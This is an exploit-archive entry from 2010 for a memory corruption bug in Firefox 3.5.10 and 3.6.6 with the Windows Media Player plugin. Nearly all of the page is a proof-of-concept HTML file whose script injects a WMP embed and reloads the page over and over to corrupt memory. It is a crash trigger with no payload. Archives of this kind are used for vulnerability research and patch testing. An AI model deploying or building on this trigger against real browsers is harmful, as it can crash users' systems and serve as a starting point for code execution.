[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Firefox 3.5.10 & 3.6.6 WMP Memory Corruption Using Popups
# Published : 2010-10-13
# Author : SkyLined
# Previous Title : Oracle Java APPLET Tag Children Property Memory Corruption
# Next Title : Hanso Converter 1.1.0 Denial of Service Vulnerability 


Source: http://code.google.com/p/skylined/issues/detail?id=21

# Exploit Title: Firefox 3.5.10 & 3.6.6 WMP Memory Corruption Using Popups
# Date: 2010-10-13
# Author: berendjanwever
# Version: FF 3.5.10 & 3.6.6 with WMP 10 & 11
# Tested on: Windows XP sp3

<HTML>
  <HEAD>
    <SCRIPT>
      function go() {
        var oWMP = document.getElementById("WMP");
        if (oWMP) {
          location.reload();
        } else {
          var oWrapper = document.getElementById("wrapper");
          oWrapper.innerHTML = '<EMBED id="WMP" type="application/x-mplayer2" autostart=1 src="repro-firefox.html"></EMBED>';
          setTimeout(go, 1000);
        }
      }
    </SCRIPT>
  </HEAD>
  <BODY onload="go()">
    <SPAN id="wrapper"></SPAN>
  </BODY>
</HTML>